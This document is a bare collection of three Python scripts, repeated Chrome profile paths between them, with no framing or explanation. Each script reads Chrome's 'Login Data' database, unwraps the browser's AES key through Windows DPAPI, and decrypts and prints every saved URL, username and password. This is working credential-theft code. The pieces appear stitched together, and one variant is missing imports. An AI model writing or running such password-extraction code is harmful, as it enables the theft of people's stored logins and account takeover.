C:\Users\<YourUsername>\AppData\Local\Google\Chrome\User Data\Default\Login Data
     

import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil

def get_chrome_cookies():
    # Set the path to the login data file
    path = os.path.join(os.environ['USERPROFILE'], r'AppData\Local\Google\Chrome\User Data')
    login_db = os.path.join(path, 'Default', 'Login Data')

    shutil.copy2(login_db, 'LoginData.db')  # Make a temporary copy of the database file

    conn = sqlite3.connect('LoginData.db')
    cursor = conn.cursor()

    cursor.execute('SELECT action_url, username_value, password_value FROM logins')

    key = get_encryption_key()

    login_data = []

    for url, user, pass_enc in cursor.fetchall():
        password = decrypt_password(pass_enc, key)
        login_data.append({
            'url': url,
            'user': user,
            'pass': password
        })
    
    cursor.close()
    conn.close()

    os.remove('LoginData.db')  # Remove the temporary file

    return login_data

def get_encryption_key():
    with open(os.path.join(os.environ['USERPROFILE'], r'AppData\Local\Google\Chrome\User Data\Local State'), "r") as f:
        local_state = f.read()
        local_state = json.loads(local_state)
    
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    key = key[5:]  # Remove DPAPI key prefix
    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

def decrypt_password(password_hex, key):
    iv = password_hex[3:15]  # First 3 bytes are non-interest. Next 12 bytes are IV.
    password_enc = password_hex[15:]  # The rest is encrypted password
    cipher = AES.new(key, AES.MODE_GCM, iv)
    return cipher.decrypt(password_enc)[:-16].decode()  # Remove the 16 byte authenticator.

# Use the function to get the login information
data = get_chrome_cookies()
for entry in data:
    print(f"URL: {entry['url']}, Username: {entry['user']}, Password: {entry['pass']}")

   C:\Users\<YourUsername>\AppData\Local\Google\Chrome\User Data\Default\Login Data
   

   import os
   import sqlite3
   from Cryptodome.Cipher import AES
   from Cryptodome.Protocol.KDF import PBKDF2
   import base64
   import json

   def get_encryption_key():
       local_state_path = os.environ["LOCALAPPDATA"] + r"\Google\Chrome\User Data\Local State"
       with open(local_state_path, "r") as file:
           local_state = json.loads(file.read())
       key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
       key = key[5:]  # Remove DPAPI prefix
       return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

   def decrypt_password(password, key):
       initialisation_vector = password[3:15]
       password_crypt = password[15:]
       cipher = AES.new(key, AES.MODE_GCM, initialisation_vector)
       return cipher.decrypt(password_crypt)[:-16].decode()

   def fetch_passwords():
       db_path = os.environ["LOCALAPPDATA"] + r"\Google\Chrome\User Data\Default\Login Data"
       shutil.copyfile(db_path, "Login Data.db")
       conn = sqlite3.connect("Login Data.db")
       cursor = conn.cursor()

       cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
       key = get_encryption_key()
       for query_result in cursor.fetchall():
           origin_url = query_result[0]
           username = query_result[1]
           password = decrypt_password(query_result[2], key)
           print(f"Origin URL: {origin_url}\nUsername: {username}\nPassword: {password}\n")
       cursor.close()
       conn.close()
       os.remove("Login Data.db")

   fetch_passwords()
   

     C:\Users\<Your Username>\AppData\Local\Google\Chrome\User Data\Default\
     

     import os
     import json
     import base64
     import sqlite3
     from win32crypt import CryptUnprotectData
     from Crypto.Cipher import AES

     def get_chrome_passwords():
         # Get user profile path
         local_state_path = os.path.join(os.environ["USERPROFILE"],
                                         "AppData", "Local", "Google", "Chrome",
                                         "User Data", "Local State")
         # Read the AES key
         with open(local_state_path, "r", encoding="utf-8") as f:
             local_state = f.read()
             local_state = json.loads(local_state)

         # Decode the AES key
         key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
         key = CryptUnprotectData(key[5:], None, None, None, 0)[1]

         # Paths to databases
         db_path = os.path.join(os.environ["USERPROFILE"],
                                "AppData", "Local", "Google", "Chrome",
                                "User Data", "Default", "Login Data")

         # Connect to sqlite database
         conn = sqlite3.connect(db_path)
         cursor = conn.cursor()

         try:
             cursor.execute("SELECT origin_url, username_value, password_value FROM logins")

             for origin_url, username, encrypted_password in cursor.fetchall():
                 # Initialize AES decryption scheme
                 iv = encrypted_password[3:15]
                 encrypted_password = encrypted_password[15:]
                 cipher = AES.new(key, AES.MODE_GCM, iv)

                 # Decrypt password
                 decrypted_password = cipher.decrypt(encrypted_password)[:-16].decode()

                 print(f"URL: {origin_url}\nUsername: {username}\nPassword: {decrypted_password}\n")

         except Exception as e:
             print("Error retrieving passwords. Check your file paths and installations.", e)

         finally:
             cursor.close()
             conn.close()

     get_chrome_passwords()
     

     C:\Users\<YourUsername>\AppData\Local\Google\Chrome\User Data\Default
     

     C:\Users\<Your-User-Name>\AppData\Local\Google\Chrome\User Data\Default